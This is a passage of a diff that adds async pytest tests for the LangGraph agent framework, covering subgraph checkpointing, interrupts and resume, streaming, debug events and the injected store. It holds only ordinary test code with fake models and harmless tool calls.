InMemorySaver() + + class InnerState(TypedDict): + my_key: Annotated[str, operator.add] + my_other_key: str + + def inner_1(state: InnerState): + return {"my_key": " got here", "my_other_key": state["my_key"]} + + def inner_2(state: InnerState): + return {"my_key": " and there"} + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: str + + inner_app = inner.compile(checkpointer=async_checkpointer) + graph = StateGraph(State) + graph.add_node("inner", inner_app) + graph.add_edge(START, "inner") + graph.add_conditional_edges( + "inner", lambda s: "inner" if s["my_key"].count("there") < 2 else END + ) + app = graph.compile(checkpointer=async_checkpointer) + thread_id = str(uuid.uuid4()) + config = {"configurable": {"thread_id": thread_id}} + await app.ainvoke({"my_key": ""}, config, subgraphs=True, durability=durability) + if durability != "exit": + checkpoints = list(async_checkpointer.list(config)) + assert len(checkpoints) == 12 + else: + checkpoints = list(async_checkpointer.list(config)) + assert len(checkpoints) == 1 + + +@NEEDS_CONTEXTVARS +async def test_subgraph_checkpoint_true_interrupt( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + # Define subgraph + class SubgraphState(TypedDict): + # note that none of these keys are shared with the parent graph state + bar: str + baz: str + + def subgraph_node_1(state: SubgraphState): + baz_value = interrupt("Provide baz value") + return {"baz": baz_value} + + def subgraph_node_2(state: SubgraphState): + return {"bar": state["bar"] + state["baz"]} + + subgraph_builder = StateGraph(SubgraphState) + subgraph_builder.add_node(subgraph_node_1) + subgraph_builder.add_node(subgraph_node_2) + subgraph_builder.add_edge(START, "subgraph_node_1") + subgraph_builder.add_edge("subgraph_node_1", "subgraph_node_2") + subgraph = subgraph_builder.compile(checkpointer=True) + + class ParentState(TypedDict): + foo: str + + def node_1(state: ParentState): + return {"foo": "hi! " + state["foo"]} + + async def node_2(state: ParentState, config: RunnableConfig): + response = await subgraph.ainvoke({"bar": state["foo"]}) + return {"foo": response["bar"]} + + builder = StateGraph(ParentState) + builder.add_node("node_1", node_1) + builder.add_node("node_2", node_2) + builder.add_edge(START, "node_1") + builder.add_edge("node_1", "node_2") + + graph = builder.compile(checkpointer=async_checkpointer) + config = {"configurable": {"thread_id": "1"}} + + assert await graph.ainvoke({"foo": "foo"}, config, durability=durability) == { + "foo": "hi! foo", + "__interrupt__": [ + Interrupt( + value="Provide baz value", + id=AnyStr(), + ) + ], + } + assert (await graph.aget_state(config, subgraphs=True)).tasks[0].state.values == { + "bar": "hi! foo" + } + assert await graph.ainvoke( + Command(resume="baz"), config, durability=durability + ) == {"foo": "hi! foobaz"} + + +async def test_stream_subgraphs_during_execution( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class InnerState(TypedDict): + my_key: Annotated[str, operator.add] + my_other_key: str + + async def inner_1(state: InnerState): + return {"my_key": "got here", "my_other_key": state["my_key"]} + + async def inner_2(state: InnerState): + await asyncio.sleep(0.5) + return { + "my_key": " and there", + "my_other_key": state["my_key"], + } + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: Annotated[str, operator.add] + + async def outer_1(state: State): + await asyncio.sleep(0.2) + return {"my_key": " and parallel"} + + async def outer_2(state: State): + return {"my_key": " and back again"} + + graph = StateGraph(State) + graph.add_node("inner", inner.compile()) + graph.add_node("outer_1", outer_1) + graph.add_node("outer_2", outer_2) + + graph.add_edge(START, "inner") + graph.add_edge(START, "outer_1") + graph.add_edge(["inner", "outer_1"], "outer_2") + graph.add_edge("outer_2", END) + + app = graph.compile(checkpointer=async_checkpointer) + + start = perf_counter() + chunks: list[tuple[float, Any]] = [] + config = {"configurable": {"thread_id": "2"}} + async for c in app.astream({"my_key": ""}, config, subgraphs=True): + chunks.append((round(perf_counter() - start, 1), c)) + for idx in range(len(chunks)): + elapsed, c = chunks[idx] + chunks[idx] = (round(elapsed - chunks[0][0], 1), c) + + assert chunks == [ + # arrives before "inner" finishes + ( + FloatBetween(0.0, 0.1), + ( + (AnyStr("inner:"),), + {"inner_1": {"my_key": "got here", "my_other_key": ""}}, + ), + ), + (FloatBetween(0.2, 0.4), ((), {"outer_1": {"my_key": " and parallel"}})), + ( + FloatBetween(0.5, 0.8), + ( + (AnyStr("inner:"),), + {"inner_2": {"my_key": " and there", "my_other_key": "got here"}}, + ), + ), + (FloatBetween(0.5, 0.8), ((), {"inner": {"my_key": "got here and there"}})), + (FloatBetween(0.5, 0.8), ((), {"outer_2": {"my_key": " and back again"}})), + ] + + +@NEEDS_CONTEXTVARS +async def test_stream_buffering_single_node( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + my_key: Annotated[str, operator.add] + + async def node(state: State, writer: StreamWriter): + writer("Before sleep") + await asyncio.sleep(0.2) + writer("After sleep") + return {"my_key": "got here"} + + builder = StateGraph(State) + builder.add_node("node", node) + builder.add_edge(START, "node") + builder.add_edge("node", END) + + graph = builder.compile(checkpointer=async_checkpointer) + + start = perf_counter() + chunks: list[tuple[float, Any]] = [] + config = {"configurable": {"thread_id": "2"}} + async for c in graph.astream({"my_key": ""}, config, stream_mode="custom"): + chunks.append((round(perf_counter() - start, 1), c)) + + assert chunks == [ + (FloatBetween(0.0, 0.1), "Before sleep"), + (FloatBetween(0.2, 0.3), "After sleep"), + ] + + +async def test_nested_graph_interrupts_parallel( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class InnerState(TypedDict): + my_key: Annotated[str, operator.add] + my_other_key: str + + async def inner_1(state: InnerState): + await asyncio.sleep(0.1) + return {"my_key": "got here", "my_other_key": state["my_key"]} + + async def inner_2(state: InnerState): + return { + "my_key": " and there", + "my_other_key": state["my_key"], + } + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: Annotated[str, operator.add] + + async def outer_1(state: State): + return {"my_key": " and parallel"} + + async def outer_2(state: State): + return {"my_key": " and back again"} + + graph = StateGraph(State) + graph.add_node( + "inner", + inner.compile(interrupt_before=["inner_2"]), + ) + graph.add_node("outer_1", outer_1) + graph.add_node("outer_2", outer_2) + + graph.add_edge(START, "inner") + graph.add_edge(START, "outer_1") + graph.add_edge(["inner", "outer_1"], "outer_2") + graph.set_finish_point("outer_2") + + app = graph.compile(checkpointer=async_checkpointer) + + # test invoke w/ nested interrupt + config = {"configurable": {"thread_id": "1"}} + assert await app.ainvoke({"my_key": ""}, config, durability=durability) == { + "my_key": " and parallel", + } + + assert await app.ainvoke(None, config, durability=durability) == { + "my_key": "got here and there and parallel and back again", + } + + # below combo of assertions is asserting two things + # - outer_1 finishes before inner interrupts (because we see its output in stream, which only happens after node finishes) + # - the writes of outer are persisted in 1st call and used in 2nd call, ie outer isn't called again (because we dont see outer_1 output again in 2nd stream) + # test stream updates w/ nested interrupt + config = {"configurable": {"thread_id": "2"}} + assert [ + c + async for c in app.astream( + {"my_key": ""}, + config, + subgraphs=True, + durability=durability, + ) + ] == [ + # we got to parallel node first + ((), {"outer_1": {"my_key": " and parallel"}}), + ( + (AnyStr("inner:"),), + {"inner_1": {"my_key": "got here", "my_other_key": ""}}, + ), + ((), {"__interrupt__": ()}), + ] + assert [c async for c in app.astream(None, config, durability=durability)] == [ + {"outer_1": {"my_key": " and parallel"}, "__metadata__": {"cached": True}}, + {"inner": {"my_key": "got here and there"}}, + {"outer_2": {"my_key": " and back again"}}, + ] + + # test stream values w/ nested interrupt + config = {"configurable": {"thread_id": "3"}} + assert [ + c + async for c in app.astream( + {"my_key": ""}, + config, + stream_mode="values", + durability=durability, + ) + ] == [ + {"my_key": ""}, + {"my_key": " and parallel"}, + ] + assert [ + c + async for c in app.astream( + None, config, stream_mode="values", durability=durability + ) + ] == [ + {"my_key": ""}, + {"my_key": "got here and there and parallel"}, + {"my_key": "got here and there and parallel and back again"}, + ] + + # # test interrupts BEFORE the parallel node + app = graph.compile(checkpointer=async_checkpointer, interrupt_before=["outer_1"]) + config = {"configurable": {"thread_id": "4"}} + assert [ + c + async for c in app.astream( + {"my_key": ""}, + config, + stream_mode="values", + durability=durability, + ) + ] == [ + {"my_key": ""}, + ] + # while we're waiting for the node w/ interrupt inside to finish + assert [ + c + async for c in app.astream( + None, config, stream_mode="values", durability=durability + ) + ] == [ + {"my_key": ""}, + {"my_key": " and parallel"}, + ] + assert [ + c + async for c in app.astream( + None, config, stream_mode="values", durability=durability + ) + ] == [ + {"my_key": ""}, + {"my_key": "got here and there and parallel"}, + {"my_key": "got here and there and parallel and back again"}, + ] + + # test interrupts AFTER the parallel node + app = graph.compile(checkpointer=async_checkpointer, interrupt_after=["outer_1"]) + config = {"configurable": {"thread_id": "5"}} + assert [ + c + async for c in app.astream( + {"my_key": ""}, + config, + stream_mode="values", + durability=durability, + ) + ] == [ + {"my_key": ""}, + {"my_key": " and parallel"}, + ] + assert [ + c + async for c in app.astream( + None, config, stream_mode="values", durability=durability + ) + ] == [ + {"my_key": ""}, + {"my_key": "got here and there and parallel"}, + ] + assert [ + c + async for c in app.astream( + None, config, stream_mode="values", durability=durability + ) + ] == [ + {"my_key": "got here and there and parallel"}, + {"my_key": "got here and there and parallel and back again"}, + ] + + +async def test_doubly_nested_graph_interrupts( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class State(TypedDict): + my_key: str + + class ChildState(TypedDict): + my_key: str + + class GrandChildState(TypedDict): + my_key: str + + async def grandchild_1(state: ChildState): + return {"my_key": state["my_key"] + " here"} + + async def grandchild_2(state: ChildState): + return { + "my_key": state["my_key"] + " and there", + } + + grandchild = StateGraph(GrandChildState) + grandchild.add_node("grandchild_1", grandchild_1) + grandchild.add_node("grandchild_2", grandchild_2) + grandchild.add_edge("grandchild_1", "grandchild_2") + grandchild.set_entry_point("grandchild_1") + grandchild.set_finish_point("grandchild_2") + + child = StateGraph(ChildState) + child.add_node( + "child_1", + grandchild.compile(interrupt_before=["grandchild_2"]), + ) + child.set_entry_point("child_1") + child.set_finish_point("child_1") + + async def parent_1(state: State): + return {"my_key": "hi " + state["my_key"]} + + async def parent_2(state: State): + return {"my_key": state["my_key"] + " and back again"} + + graph = StateGraph(State) + graph.add_node("parent_1", parent_1) + graph.add_node("child", child.compile()) + graph.add_node("parent_2", parent_2) + graph.set_entry_point("parent_1") + graph.add_edge("parent_1", "child") + graph.add_edge("child", "parent_2") + graph.set_finish_point("parent_2") + + app = graph.compile(checkpointer=async_checkpointer) + + # test invoke w/ nested interrupt + config = {"configurable": {"thread_id": "1"}} + assert await app.ainvoke({"my_key": "my value"}, config, durability=durability) == { + "my_key": "hi my value", + } + + assert await app.ainvoke(None, config, durability=durability) == { + "my_key": "hi my value here and there and back again", + } + + # test stream updates w/ nested interrupt + nodes: list[str] = [] + config = { + "configurable": {"thread_id": "2", CONFIG_KEY_NODE_FINISHED: nodes.append} + } + assert [ + c + async for c in app.astream( + {"my_key": "my value"}, config, durability=durability + ) + ] == [ + {"parent_1": {"my_key": "hi my value"}}, + {"__interrupt__": ()}, + ] + assert nodes == ["parent_1", "grandchild_1"] + assert [c async for c in app.astream(None, config, durability=durability)] == [ + {"child": {"my_key": "hi my value here and there"}}, + {"parent_2": {"my_key": "hi my value here and there and back again"}}, + ] + assert nodes == [ + "parent_1", + "grandchild_1", + "grandchild_2", + "child_1", + "child", + "parent_2", + ] + + # test stream values w/ nested interrupt + config = {"configurable": {"thread_id": "3"}} + assert [ + c + async for c in app.astream( + {"my_key": "my value"}, + config, + stream_mode="values", + durability=durability, + ) + ] == [ + {"my_key": "my value"}, + {"my_key": "hi my value"}, + ] + assert [ + c + async for c in app.astream( + None, config, stream_mode="values", durability=durability + ) + ] == [ + {"my_key": "hi my value"}, + {"my_key": "hi my value here and there"}, + {"my_key": "hi my value here and there and back again"}, + ] + + +async def test_checkpoint_metadata(async_checkpointer: BaseCheckpointSaver) -> None: + """This test verifies that a run's configurable fields are merged with the + previous checkpoint config for each step in the run. + """ + # set up test + from langchain_core.language_models.fake_chat_models import ( + FakeMessagesListChatModel, + ) + from langchain_core.messages import AIMessage, AnyMessage + from langchain_core.prompts import ChatPromptTemplate + from langchain_core.tools import tool + + # graph state + class BaseState(TypedDict): + messages: Annotated[list[AnyMessage], add_messages] + + # initialize graph nodes + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + prompt = ChatPromptTemplate.from_messages( + [ + ("system", "You are a nice assistant."), + ("placeholder", "{messages}"), + ] + ) + + model = FakeMessagesListChatModel( + responses=[ + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + AIMessage(content="answer"), + ] + ) + + def agent(state: BaseState, config: RunnableConfig) -> BaseState: + formatted = prompt.invoke(state) + response = model.invoke(formatted) + return {"messages": response} + + def should_continue(data: BaseState) -> str: + # Logic to decide whether to continue in the loop or exit + if not data["messages"][-1].tool_calls: + return "exit" + else: + return "continue" + + # define graphs w/ and w/o interrupt + workflow = StateGraph(BaseState) + workflow.add_node("agent", agent) + workflow.add_node("tools", ToolNode(tools)) + workflow.set_entry_point("agent") + workflow.add_conditional_edges( + "agent", should_continue, {"continue": "tools", "exit": END} + ) + workflow.add_edge("tools", "agent") + + # graph w/o interrupt + app = workflow.compile(checkpointer=async_checkpointer) + + # graph w/ interrupt + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, interrupt_before=["tools"] + ) + + # assertions + + # invoke graph w/o interrupt + await app.ainvoke( + {"messages": ["what is weather in sf"]}, + { + "configurable": { + "thread_id": "1", + "test_config_1": "foo", + "test_config_2": "bar", + }, + }, + ) + + config = {"configurable": {"thread_id": "1"}} + + # assert that checkpoint metadata contains the run's configurable fields + chkpnt_metadata_1 = (await async_checkpointer.aget_tuple(config)).metadata + assert chkpnt_metadata_1["test_config_1"] == "foo" + assert chkpnt_metadata_1["test_config_2"] == "bar" + + # Verify that all checkpoint metadata have the expected keys. This check + # is needed because a run may have an arbitrary number of steps depending + # on how the graph is constructed. + chkpnt_tuples_1 = async_checkpointer.alist(config) + async for chkpnt_tuple in chkpnt_tuples_1: + assert chkpnt_tuple.metadata["test_config_1"] == "foo" + assert chkpnt_tuple.metadata["test_config_2"] == "bar" + + # invoke graph, but interrupt before tool call + await app_w_interrupt.ainvoke( + {"messages": ["what is weather in sf"]}, + { + "configurable": { + "thread_id": "2", + "test_config_3": "foo", + "test_config_4": "bar", + }, + }, + ) + + config = {"configurable": {"thread_id": "2"}} + + # assert that checkpoint metadata contains the run's configurable fields + chkpnt_metadata_2 = (await async_checkpointer.aget_tuple(config)).metadata + assert chkpnt_metadata_2["test_config_3"] == "foo" + assert chkpnt_metadata_2["test_config_4"] == "bar" + + # resume graph execution + await app_w_interrupt.ainvoke( + input=None, + config={ + "configurable": { + "thread_id": "2", + "test_config_3": "foo", + "test_config_4": "bar", + } + }, + ) + + # assert that checkpoint metadata contains the run's configurable fields + chkpnt_metadata_3 = (await async_checkpointer.aget_tuple(config)).metadata + assert chkpnt_metadata_3["test_config_3"] == "foo" + assert chkpnt_metadata_3["test_config_4"] == "bar" + + # Verify that all checkpoint metadata have the expected keys. This check + # is needed because a run may have an arbitrary number of steps depending + # on how the graph is constructed. + chkpnt_tuples_2 = async_checkpointer.alist(config) + async for chkpnt_tuple in chkpnt_tuples_2: + assert chkpnt_tuple.metadata["test_config_3"] == "foo" + assert chkpnt_tuple.metadata["test_config_4"] == "bar" + + +async def test_checkpointer_null_pending_writes() -> None: + class Node: + def __init__(self, name: str): + self.name = name + setattr(self, "__name__", name) + + def __call__(self, state): + return [self.name] + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node(Node("1")) + builder.add_edge(START, "1") + graph = builder.compile(checkpointer=MemorySaverNoPending()) + assert graph.invoke([], {"configurable": {"thread_id": "foo"}}) == ["1"] + assert graph.invoke([], {"configurable": {"thread_id": "foo"}}) == ["1"] * 2 + assert (await graph.ainvoke([], {"configurable": {"thread_id": "foo"}})) == [ + "1" + ] * 3 + assert (await graph.ainvoke([], {"configurable": {"thread_id": "foo"}})) == [ + "1" + ] * 4 + + +async def test_store_injected_async( + async_checkpointer: BaseCheckpointSaver, async_store: BaseStore +) -> None: + class State(TypedDict): + count: Annotated[int, operator.add] + + doc_id = str(uuid.uuid4()) + doc = {"some-key": "this-is-a-val"} + uid = uuid.uuid4().hex + namespace = (f"foo-{uid}", "bar") + thread_1 = str(uuid.uuid4()) + thread_2 = str(uuid.uuid4()) + + class Node: + def __init__(self, i: int | None = None): + self.i = i + + async def __call__( + self, inputs: State, config: RunnableConfig, store: BaseStore + ): + assert isinstance(store, BaseStore) + await store.aput( + ( + namespace + if self.i is not None + and config["configurable"]["thread_id"] in (thread_1, thread_2) + else (f"foo_{self.i}", "bar") + ), + doc_id, + { + **doc, + "from_thread": config["configurable"]["thread_id"], + "some_val": inputs["count"], + }, + ) + return {"count": 1} + + def other_node(inputs: State, config: RunnableConfig, store: BaseStore): + assert isinstance(store, BaseStore) + store.put(("not", "interesting"), "key", {"val": "val"}) + item = store.get(("not", "interesting"), "key") + assert item is not None + assert item.value == {"val": "val"} + return {"count": 0} + + builder = StateGraph(State) + builder.add_node("node", Node()) + builder.add_node("other_node", other_node) + builder.add_edge("__start__", "node") + builder.add_edge("node", "other_node") + + N = 50 + M = 1 + + for i in range(N): + builder.add_node(f"node_{i}", Node(i)) + builder.add_edge("__start__", f"node_{i}") + + graph = builder.compile(store=async_store, checkpointer=async_checkpointer) + + # Test batch operations with multiple threads + results = await graph.abatch( + [{"count": 0}] * M, + ([{"configurable": {"thread_id": str(uuid.uuid4())}}] * (M - 1)) + + [{"configurable": {"thread_id": thread_1}}], + ) + result = results[-1] + assert result == {"count": N + 1} + returned_doc = (await async_store.aget(namespace, doc_id)).value + assert returned_doc == {**doc, "from_thread": thread_1, "some_val": 0} + assert len(await async_store.asearch(namespace)) == 1 + + # Check results after another turn of the same thread + result = await graph.ainvoke( + {"count": 0}, {"configurable": {"thread_id": thread_1}} + ) + assert result == {"count": (N + 1) * 2} + returned_doc = (await async_store.aget(namespace, doc_id)).value + assert returned_doc == {**doc, "from_thread": thread_1, "some_val": N + 1} + assert len(await async_store.asearch(namespace)) == 1 + + # Test with a different thread + result = await graph.ainvoke( + {"count": 0}, {"configurable": {"thread_id": thread_2}} + ) + assert result == {"count": N + 1} + returned_doc = (await async_store.aget(namespace, doc_id)).value + assert returned_doc == { + **doc, + "from_thread": thread_2, + "some_val": 0, + } # Overwrites the whole doc + assert ( + len(await async_store.asearch(namespace)) == 1 + ) # still overwriting the same one + + +async def test_debug_retry(async_checkpointer: BaseCheckpointSaver): + class State(TypedDict): + messages: Annotated[list[str], operator.add] + + def node(name): + async def _node(state: State): + return {"messages": [f"entered {name} node"]} + + return _node + + builder = StateGraph(State) + builder.add_node("one", node("one")) + builder.add_node("two", node("two")) + builder.add_edge(START, "one") + builder.add_edge("one", "two") + builder.add_edge("two", END) + + graph = builder.compile(checkpointer=async_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + await graph.ainvoke({"messages": []}, config=config, durability="async") + + # re-run step: 1 + async for c in async_checkpointer.alist(config): + if c.metadata["step"] == 1: + target_config = c.parent_config + break + assert target_config is not None + + update_config = await graph.aupdate_state(target_config, values=None) + + events = [ + c + async for c in graph.astream( + None, config=update_config, stream_mode="debug", durability="async" + ) + ] + + checkpoint_events = list( + reversed([e["payload"] for e in events if e["type"] == "checkpoint"]) + ) + + checkpoint_history = { + c.config["configurable"]["checkpoint_id"]: c + async for c in graph.aget_state_history(config) + } + + def lax_normalize_config(config: dict | None) -> dict | None: + if config is None: + return None + return config["configurable"] + + for stream in checkpoint_events: + stream_conf = lax_normalize_config(stream["config"]) + stream_parent_conf = lax_normalize_config(stream["parent_config"]) + assert stream_conf != stream_parent_conf + + # ensure the streamed checkpoint == checkpoint from checkpointer.list() + history = checkpoint_history[stream["config"]["configurable"]["checkpoint_id"]] + history_conf = lax_normalize_config(history.config) + assert stream_conf == history_conf + + history_parent_conf = lax_normalize_config(history.parent_config) + assert stream_parent_conf == history_parent_conf + + +async def test_debug_subgraphs( + async_checkpointer: BaseCheckpointSaver, durability: Durability +): + class State(TypedDict): + messages: Annotated[list[str], operator.add] + + def node(name): + async def _node(state: State): + return {"messages": [f"entered {name} node"]} + + return _node + + parent = StateGraph(State) + child = StateGraph(State) + + child.add_node("c_one", node("c_one")) + child.add_node("c_two", node("c_two")) + child.add_edge(START, "c_one") + child.add_edge("c_one", "c_two") + child.add_edge("c_two", END) + + parent.add_node("p_one", node("p_one")) + parent.add_node("p_two", child.compile()) + parent.add_edge(START, "p_one") + parent.add_edge("p_one", "p_two") + parent.add_edge("p_two", END) + + graph = parent.compile(checkpointer=async_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + events = [ + c + async for c in graph.astream( + {"messages": []}, + config=config, + stream_mode="debug", + durability=durability, + ) + ] + + checkpoint_events = list( + reversed([e["payload"] for e in events if e["type"] == "checkpoint"]) + ) + if durability == "exit": + checkpoint_events = checkpoint_events[:1] + checkpoint_history = [c async for c in graph.aget_state_history(config)] + + assert len(checkpoint_events) == len(checkpoint_history) + + def normalize_config(config: dict | None) -> dict | None: + if config is None: + return None + return config["configurable"] + + for stream, history in zip(checkpoint_events, checkpoint_history): + assert stream["values"] == history.values + assert stream["next"] == list(history.next) + assert normalize_config(stream["config"]) == normalize_config(history.config) + assert normalize_config(stream["parent_config"]) == normalize_config( + history.parent_config + ) + + assert len(stream["tasks"]) == len(history.tasks) + for stream_task, history_task in zip(stream["tasks"], history.tasks): + assert stream_task["id"] == history_task.id + assert stream_task["name"] == history_task.name + assert stream_task["interrupts"] == history_task.interrupts + assert stream_task.get("error") == history_task.error + assert stream_task.get("state") == history_task.state + + +async def test_debug_nested_subgraphs( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + from collections import defaultdict + + class State(TypedDict): + messages: Annotated[list[str], operator.add] + + def node(name): + async def _node(state: State): + return {"messages": [f"entered {name} node"]} + + return _node + + grand_parent = StateGraph(State) + parent = StateGraph(State) + child = StateGraph(State) + + child.add_node("c_one", node("c_one")) + child.add_node("c_two", node("c_two")) + child.add_edge(START, "c_one") + child.add_edge("c_one", "c_two") + child.add_edge("c_two", END) + + parent.add_node("p_one", node("p_one")) + parent.add_node("p_two", child.compile()) + parent.add_edge(START, "p_one") + parent.add_edge("p_one", "p_two") + parent.add_edge("p_two", END) + + grand_parent.add_node("gp_one", node("gp_one")) + grand_parent.add_node("gp_two", parent.compile()) + grand_parent.add_edge(START, "gp_one") + grand_parent.add_edge("gp_one", "gp_two") + grand_parent.add_edge("gp_two", END) + + graph = grand_parent.compile(checkpointer=async_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + events = [ + c + async for c in graph.astream( + {"messages": []}, + config=config, + stream_mode="debug", + subgraphs=True, + durability=durability, + ) + ] + + stream_ns: dict[tuple, dict] = defaultdict(list) + for ns, e in events: + if e["type"] == "checkpoint": + stream_ns[ns].append(e["payload"]) + + assert list(stream_ns.keys()) == [ + (), + (AnyStr("gp_two:"),), + (AnyStr("gp_two:"), AnyStr("p_two:")), + ] + + history_ns = {} + for ns in stream_ns.keys(): + + async def get_history(): + history = [ + c + async for c in graph.aget_state_history( + {"configurable": {"thread_id": "1", "checkpoint_ns": "|".join(ns)}} + ) + ] + return history[::-1] + + history_ns[ns] = await get_history() + + def normalize_config(config: dict | None) -> dict | None: + if config is None: + return None + + clean_config = {} + clean_config["thread_id"] = config["configurable"]["thread_id"] + clean_config["checkpoint_id"] = config["configurable"]["checkpoint_id"] + clean_config["checkpoint_ns"] = config["configurable"]["checkpoint_ns"] + if "checkpoint_map" in config["configurable"]: + clean_config["checkpoint_map"] = config["configurable"]["checkpoint_map"] + + return clean_config + + for checkpoint_events, checkpoint_history, ns in zip( + stream_ns.values(), history_ns.values(), stream_ns.keys() + ): + if durability == "exit": + checkpoint_events = checkpoint_events[-1:] + if ns: # Save no checkpoints for subgraphs when durability="exit" + assert not checkpoint_history + continue + assert len(checkpoint_events) == len(checkpoint_history) + for stream, history in zip(checkpoint_events, checkpoint_history): + assert stream["values"] == history.values + assert stream["next"] == list(history.next) + assert normalize_config(stream["config"]) == normalize_config( + history.config + ) + assert normalize_config(stream["parent_config"]) == normalize_config( + history.parent_config + ) + + assert len(stream["tasks"]) == len(history.tasks) + for stream_task, history_task in zip(stream["tasks"], history.tasks): + assert stream_task["id"] == history_task.id + assert stream_task["name"] == history_task.name + assert stream_task["interrupts"] == history_task.interrupts + assert stream_task.get("error") == history_task.error + assert stream_task.get("state") == history_task.state + + +@pytest.mark.parametrize("subgraph_persist", [True, False]) +async def test_parent_command( + async_checkpointer: BaseCheckpointSaver, subgraph_persist: bool +) -> None: + from langchain_core.messages import BaseMessage + from langchain_core.tools import tool + + @tool(return_direct=True) + def get_user_name() -> Command: + """Retrieve user name""" + return Command(update={"user_name": "Meow"}, graph=Command.PARENT) + + subgraph_builder = StateGraph(MessagesState) + subgraph_builder.add_node("tool", get_user_name) + subgraph_builder.add_edge(START, "tool") + subgraph = subgraph_builder.compile(checkpointer=subgraph_persist) + + class CustomParentState(TypedDict): + messages: Annotated[list[BaseMessage], add_messages] + # this key is not available to the child graph + user_name: str + + builder = StateGraph(CustomParentState) + builder.add_node("alice", subgraph) + builder.add_edge(START, "alice") + + graph = builder.compile(checkpointer=async_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + + assert await graph.ainvoke( + {"messages": [("user", "get user name")]}, config, durability="exit" + ) == { + "messages": [ + _AnyIdHumanMessage( + content="get user name", additional_kwargs={}, response_metadata={} + ), + ], + "user_name": "Meow", + } + assert await graph.aget_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage( + content="get user name", + additional_kwargs={}, + response_metadata={}, + ), + ], + "user_name": "Meow", + }, + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=(), + interrupts=(), + ) + + +async def test_delta_channel_durability_exit_stores_snapshot_async() -> None: + """DeltaChannel must reload from an async durability='exit' checkpoint.""" + from langchain_core.messages import AIMessage + + from langgraph.channels.delta import DeltaChannel + from langgraph.graph.message import _messages_delta_reducer + + class State(TypedDict): + messages: Annotated[list, DeltaChannel(_messages_delta_reducer)] + + async def respond(state: State) -> dict: + return {"messages": [AIMessage(content="reply", id="ai1")]} + + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_edge(START, "respond") + graph = builder.compile(checkpointer=InMemorySaver()) + config = {"configurable": {"thread_id": "delta-exit-async-test"}} + + result = await graph.ainvoke( + {"messages": [HumanMessage(content="hello", id="h1")]}, + config, + durability="exit", + ) + assert [m.content for m in result["messages"]] == ["hello", "reply"] + + state = await graph.aget_state(config) + assert [m.content for m in state.values["messages"]] == ["hello", "reply"] + + +@NEEDS_CONTEXTVARS +async def test_interrupt_subgraph(async_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + baz: str + + def foo(state): + return {"baz": "foo"} + + def bar(state): + value = interrupt("Please provide baz value:") + return {"baz": value} + + child_builder = StateGraph(State) + child_builder.add_node(bar) + child_builder.add_edge(START, "bar") + + builder = StateGraph(State) + builder.add_node(foo) + builder.add_node("bar", child_builder.compile()) + builder.add_edge(START, "foo") + builder.add_edge("foo", "bar") + + graph = builder.compile(checkpointer=async_checkpointer) + + thread1 = {"configurable": {"thread_id": "1"}} + # First run, interrupted at bar + assert await graph.ainvoke({"baz": ""}, thread1) + # Resume with answer + assert await graph.ainvoke(Command(resume="bar"), thread1) + + +@NEEDS_CONTEXTVARS +async def test_interrupt_multiple(async_checkpointer: BaseCheckpointSaver): + class State(TypedDict): + my_key: Annotated[str, operator.add] + + async def node(s: State) -> State: + answer = interrupt({"value": 1}) + answer2 = interrupt({"value": 2}) + return {"my_key": answer + " " + answer2} + + builder = StateGraph(State) + builder.add_node("node", node) + builder.add_edge(START, "node") + + graph = builder.compile(checkpointer=async_checkpointer) + thread1 = {"configurable": {"thread_id": "1"}} + + assert [ + e async for e in graph.astream({"my_key": "DE", "market": "DE"}, thread1) + ] == [ + { + "__interrupt__": ( + Interrupt( + value={"value": 1}, + id=AnyStr(), + ), + ) + } + ] + + assert [ + event + async for event in graph.astream( + Command(resume="answer 1", update={"my_key": "foofoo"}), + thread1, + stream_mode="updates", + ) + ] == [ + { + "__interrupt__": ( + Interrupt( + value={"value": 2}, + id=AnyStr(), + ), + ) + } + ] + + assert [ + event + async for event in graph.astream( + Command(resume="answer 2"), thread1, stream_mode="updates" + ) + ] == [ + {"node": {"my_key": "answer 1 answer 2"}}, + ] + + +@NEEDS_CONTEXTVARS +async def test_interrupt_loop(async_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + age: int + other: str + + async def ask_age(s: State): + """Ask an expert for help.""" + question = "How old are you?" + value = None + for _ in range(10): + value: str = interrupt(question) + if not value.isdigit() or int(value) < 18: + question = "invalid response" + value = None + else: + break + + return {"age": int(value)} + + builder = StateGraph(State) + builder.add_node("node", ask_age) + builder.add_edge(START, "node") + + graph = builder.compile(checkpointer=async_checkpointer) + thread1 = {"configurable": {"thread_id": "1"}} + + assert [e async for e in graph.astream({"other": ""}, thread1)] == [ + { + "__interrupt__": ( + Interrupt( + 